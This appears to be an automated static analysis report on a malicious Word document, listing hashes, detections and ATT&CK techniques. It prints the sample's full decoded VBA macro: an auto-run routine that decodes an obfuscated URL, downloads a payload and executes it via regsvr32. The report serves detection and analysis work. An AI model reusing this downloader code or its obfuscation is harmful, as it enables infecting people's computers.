Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3fd048d0ffbbc318…

MALICIOUS

Office (OOXML)

115.9 KB Created: 2020-07-21 08:25:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: 26a6d3abe2a4edd84fd225e7c486e7d8 SHA-1: 9f3d870efb902d1bc576e7ef4e670214ab6916be SHA-256: 3fd048d0ffbbc318a482976da2982d1daf6b1113ea047469d0dcd7bd37e6f3f0
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an OOXML document containing VBA macros, specifically an autoopen subroutine. This subroutine utilizes the URLDownloadToFile function to download a file named 'mp.pdf' and then executes it using 'wscript.exe'. The obfuscated VBA code suggests an attempt to conceal the download and execution of a secondary payload, characteristic of a downloader malware.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal vl As LongPtr, ByVal zU As String, ByVal z0 As String, ByVal Xg As LongPtr, ByVal b7 As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    PK = id(AL)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4074 bytes
SHA-256: b8b9739570ccbb45169351a03739386fbb66d0c48f9855b2af6d34044631ef2e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "T0"
Function id(m8)
    
' Remarkable louis
' Stephen impediment
' Undesirable ofries backup trackless larger
' Critter anaheim then gayest portentous slowly
' Liveliness
' Emerald ada jaunty lemon competent
' Butch vernon dab quite hygiene

' Exactitude desultory
' Miami total
' Disobey piper excuse fears
' Pounded extradition trickery dennis
zX = Split(m8, " ")
For Lg = 0 To UBound(zX)
 QU = QU & Chr(zX(Lg) Xor 1)
Next Lg
id = QU
End Function
Sub autoopen()
PK = id(AL)

' Calcium rec specifying caller extortion larger
' Memoir
frm.download PK, "mp.pdf"

' Clayey laity movie hypnotized portal attested doubt
' Madison bruise refund
' Aide restrictions aeschylus

' Hellenic oclc turnpike fermentation
' Car dvd sewer
' Tactics genie garish em

' Norwegian cattle amendments hon
' Endorsement
' Instructor poll pledge frontispiece raillery

' Yield screwed recreational ton hoes
' Bolivia gunner
' Fed artist

' Awards comparing forecast licentiousness jennifer
' Routers trailers macedonian
' Switching angola
' Stub restrictions survivors toad soot
Dim a6 As New WshShell
Call a6.exec(K5 & D1 & "32 mp.pdf")
End Sub

Attribute VB_Name = "T01"
Sub Y()

' Warming

' Jewel configuration southern
' Terrier bouncing digit poster
' Tomato
' Variability severn homes
' Calculation

' Boxer juno lender spirit spray
' Pull car

' Beverly vicissitudes

' Mattress ken appreciable
' Uncomfortably hoping negative rook
' Instrumental techrepublic bookings
' Missile sensational tubular jade advisers apologize
' Characterization remarks competency
' Boobs sanguinary
' Industry jaunt inhale indeterminate
' Paintings self-made swineherd downpour games nursing

' Stupidly micah
' Winners brigantine telephone av provision

' Explicit should pent-up dominican arbitration viscount
' Nag

' Sunrise
' Mathematical masturbation unnecessarily troubleshooting alum
' Requirement talented
' Pauper stats fins grandpa

' Realistic liz incongruity bet estimates refine

' Ah eye-witness irrelevant

' Slavic disastrously identity rural disks
' Xl cannonade celebrity omnipresent
' Jonathan penury welsh agricultural stilted
' Didactic programs watt

' Clive jackass althea slave-girl
' Weakening goggles derives
' Beads mining
' Chain tableau contribute blair apoplexy symbolic
End Sub

Attribute VB_Name = "FR"
Public Const K5 As String = "reg"
Public Const D1 As String = "svr"
Public Const AL As String = "105 117 117 113 59 46 46 119 121 56 98 50 106 116 47 98 110 108 46 53 96 101 115 46 109 110 117 119 47 113 105 113 62 109 60 123 116 102 57 47 98 96 99"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal vl As LongPtr, ByVal zU As String, ByVal z0 As String, ByVal Xg As LongPtr, ByVal b7 As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal vl As Long, ByVal zU As String, ByVal z0 As String, ByVal Xg As Long, ByVal b7 As Long) As Long
#End If
Function jI()

' Vulnerable fabian office
' Dj rebate
' Questions elocution cathedral accountant heavy

' Station avoidance navigation saucepan
' Nonce jaguar antigua certificate
' Comedian
' Hygiene frank kuwait sententious bearable
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{01F5F1A9-EFAB-44D5-9BE1-250D3DD23CAF}{0A580F84-6E37-4455-8D8C-62A96021A387}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: f84d7295419429e9752e46c1c0933e23dcdbf93350fc981ffb3739a84a8ba2af